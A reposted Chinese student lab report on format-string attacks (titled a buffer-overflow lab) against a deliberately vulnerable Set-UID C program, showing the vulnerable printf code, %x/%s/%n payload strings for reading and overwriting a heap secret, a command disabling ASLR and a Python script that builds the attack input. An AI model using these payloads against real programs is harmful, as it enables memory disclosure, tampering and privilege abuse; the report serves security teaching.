您的位置:首页 > 理论基础 > 计算机网络

计算机网络安全实验-缓存区溢出攻击

2016-04-19 21:58 615 查看
计算机网络原理实验

实验环境:Linux Kernel 3.16.0//Debian 3.16.7(32位)//GCC 4.9.2

2016年4月19日

作业五:缓存区溢出实验

实验一

题目:

利用lab.c代码完成作业,当然你也可以使用自己写其他的代码完成。程序要求使用Set-UID获取root权限,在程序中存储了两个数值,SECRET1和SECRET2;这两个值,我们假设我们预先不知道,作为攻击者,我们想要知道这两个值;这两个字,我们设定为0x44和0x55。虽然我们不知道这两个数值,但是,在实际操作中,我们可以知道它们的内存地址或者大概的内容地址的范围(简单起见,程序中这两个数字的地址肯定是相邻的)。这次实验,假设我们已经知道了确切的地址,并打印出来了。因此,我们需要完成如下目标(不需要同时完成):

1.Crashing down 程序;

2.打印出secret[1]的值;

3.修改secret[1]的值;

4.修改secret[1]的值,值和3不同;

注意:你们可以将程序设置Set-UID,但是一旦写完程序以后,它就是二进制代码,你不能修改你的二进制代码。虽然,我给了你们一个实例(可攻击)的源码,辅助你们进行攻击,你可以修改,采用别的方式,但是你只能在二进制可执行程序前面,进行攻击。

//File: lab.c
#define SECRET1 0x44
#define SECRET2 0x55
int main(int argc, char *argv[])
{
char user_input[100];
int *secret;
int int_input;
int a, b, c, d;

secret = (int *) malloc(2*sizeof(int));

secret[0] = SECRET1; secret[1] = SECRET2;
printf("The variable secret's address is 0x%8x (on stack)\n", &secret);
printf("The variable secret's value is 0x%8x (on heap)\n", secret);
printf("secret[0]'s address is 0x%8x (on heap)\n", &secret[0]);
printf("secret[1]'s address is 0x%8x (on heap)\n", &secret[1]);

printf("Please enter a decimal integer\n");
scanf("%d", &int_input);
printf("Please enter a string\n");
scanf("%s", user_input);
/* Vulnerable place */
printf(user_input);
printf("\n");
/* Verify whether your attack is successful or not */
printf("The original secrets: 0x%x -- 0x%x\n", SECRET1, SECRET2);
printf("The new secrets: 0x%x -- 0x%x\n", secret[0], secret[1]);

return 0;
}


实验学习:

1、确定缓存区目标指针的位置。

  随便输入一个十进制的数记下这个数的十六进制表示多次并尽量多的用
printf
写出栈内信息,因为
0x00000000
0xFFFFFFFF
比较特殊,一般不使用。

我这里就使用十进制数
10000000
50000000
在两个数作为判断位置的随机十进制数,这两个数的十六进制表示为
0x989680
0x2FAF080


如上图所示,使用gcc编译运行
lab.c
,输入相应的数,观察打印结果,发现在这种情况下取第五次栈内地址就能取到我们构造的数的位置。



2、使用printf构造堆栈读写指向指定位置查看目标地址。

  所以我们只要输入指定地址的十进制数,然后构造的
printf
字符串为
“%x-%x-%x-%x-%s”
就可以取得我们想要的目标地址的值。在这里我们要取得的目标地址就是我们的secret的地址,我们已经将它们打印出来了,直接转换为十进制数即可。

3、更改目标地址的值。

  我们只要使用
%n
就行,
%n
代表取前面的字符串的长度保存到目标位置。比如说,假如我们需要将目标地址的值改成
0x40
,只需要在
%n
前面弹栈4次且构造一个十六个字符的字符串,比如
“%08x%08x%08x%08x********************************%n”


4、让程序崩溃。

只要不停的弹栈直到崩溃即可。

参考文献:

1.【北京交通大学 网络安全实验指南】

实验截图:

1、Crash Down程序。



2、打印出secret[1]的值。(字符U对应的ASCII值为0x55,即为所求。)



3、修改secret[1]的值为0x40。



4、修改secret[1]的值,和3不同。



实验二

题目:在第一题目中,如果代码scanf(‘’%d’’, int input)

不存在,程序不需要你输入一个整数,题目1会有些变化。尤其是考虑到地址随机化,它可以阻碍许多攻击。为此,我们需要关掉地址随机化,采用下列命令关掉

sysctl -w kernel.randomize_va_space=0删除两行代码printf(“Please enter a

decimal integer\n”);scanf(“%d”, &int_input); 重复题目1,完成相同的工作。

注意:可以利用代码mystr.c,它会生成一个mystring的文件,其中前面四个字节,是你们需要填进去的,即修改的,后面字节是输入的。可以利用

./lab > mystring进行。

实验学习:

1、想办法在编译完之后将目标地址输入到user_input中。

  因为目标地址一般是十六进制的,所以我们可以将十六进制数写入文件然后将这个文件作为程序的输入。但是在实验过程中,我发现0x0C没办法读入到数组中,因为scanf默认跳过这个字符,遇到这个问题我尝试了两种方法来输入文件:一是在前面多申请一点空间,打乱固有的内存分配,让目标地址里面没有0x0C;二是通过getc操作文件指针直接写到数组中去。

  第一种方法方便快捷,但是没有根本解决问题,如果我们是攻击者我们应该在编译后不能再更改源代码文件,因为我们的目标地址应该是随机的,这种方法在不同环境下可能碰到目标地址还是存在scanf忽略的空白字符,所以并不能说是万能的攻击方法。

  第二种方法操作复杂,但是解决了问题,理论上可以访问到我们想访问的任何一个地址,但是因为添加了字符流的读取操作,可能涉及到堆栈操作影响我们读取目标地址的准确性。我上网查到,使用getc和fgetc都可以从文件流中读取字符,其中getc是宏操作不会使用堆栈,fgetc是函数操作会使用堆栈,所以我觉得使用getc是比较安全的方法。

  测试了第一种方法和第二种方法,发现第二种方法存在编译错误,不知道怎么回事,所以暂且用第一种方法解决。附上第二种方法的代码和编译错误,我不知道为什么EOF没有定义。

//File: lab.c
#define SECRET1 0x44
#define SECRET2 0x55
int main(int argc, char *argv[])
{
char user_input[100];
int *secret;
int int_input;
int a = 0, b = 0, c = 0, d = 0;

secret = (int *) malloc(2*sizeof(int));

secret[0] = SECRET1; secret[1] = SECRET2;
printf("The variable secret's address is 0x%8x (on stack)\n", &secret);
printf("The variable secret's value is 0x%8x (on heap)\n", secret);
printf("secret[0]'s address is 0x%8x (on heap)\n", &secret[0]);
printf("secret[1]'s address is 0x%8x (on heap)\n", &secret[1]);

//    printf("Please enter a decimal integer\n");
//    scanf("%d", &int_input);
printf("Please enter a string\n");
while((a=getc(stdin))!=EOF){
user_input = a;
b++;
}
/* Vulnerable place */
printf(user_input);
printf("\n");
/* Verify whether your attack is successful or not */
printf("The original secrets: 0x%x -- 0x%x\n", SECRET1, SECRET2);
printf("The new secrets: 0x%x -- 0x%x\n", secret[0], secret[1]);

return 0;
}


/*编译错误信息
root@lauoman:~# gcc lab.c -o lab
lab.c: In function ‘main’:
lab.c:10:22: warning: incompatible implicit declaration of built-in function ‘malloc’
secret = (int *) malloc(2*sizeof(int));
^
lab.c:13:5: warning: incompatible implicit declaration of built-in function ‘printf’
printf("The variable secret's address is 0x%8x (on stack)\n", &secret);
^
lab.c:21:19: error: ‘stdin’ undeclared (first use in this function)
while((a=getc(stdin))!=EOF){
^
lab.c:21:19: note: each undeclared identifier is reported only once for each function it appears in
lab.c:21:28: error: ‘EOF’ undeclared (first use in this function)
while((a=getc(stdin))!=EOF){
^
*/


[b]2、用十六进制写一个文件然后导入lab。


  因为手头没有十六进制编辑器,所以我就用Python写了一个脚本生成我想要的十六进制文件。附上Python脚本代码,编译器:Python 2.7。

import struct

file = open("outputhex.txt","wb")
file.write(struct.pack('<HH',0xa01c,0x804))# means: 0x0804a01c
file.close()

file = open("outputhex.txt","a")
inputStr = ""
looptime = 10 # the looptime for "%x" you wanna
for i in range(looptime):
inputStr+="%08x-"
# inputStr+="%s"
# ^^^^^^^^^^^^^^if you wanna get the value of target address please uncomment this.
file.write(inputStr);
file.close();


  这个脚本实现了输出一个十六进制文件“outputhex.txt”,里面含有我们要的目标地址和一系列的%08x,如果需要取得目标地址的值,只要算好弹栈次数并把输出value的那句话去注释。

  我们可以检查我们生成的文件。

  


  然后我们把文件输入到lab中去,得到我们要的目标地址的位置,在我这里是第七个。如图所示。

  


  现在我们可以把looptime参数改为6,并加上%s。再重复上述操作即可取得该地址的value。可以在下面实验截图中看到结果。

3、修改目标地址所指向的值。

  和第一个实验一样,只要将最后一个%s改为%n即可。

4、使程序崩溃。

  和实验一一样,一直弹栈即可实现。

参考文献

1.【北京交通大学 网络安全实验指南】

2.【C语言getc()函数:从流中读取字符】

3.【百度百科:scanf】

实验截图:

1、Crash Down程序。



2、查看Secret[1]的值。



3、修改secret[1]的值。



4、修改secret[1]的值,与3不同。

内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: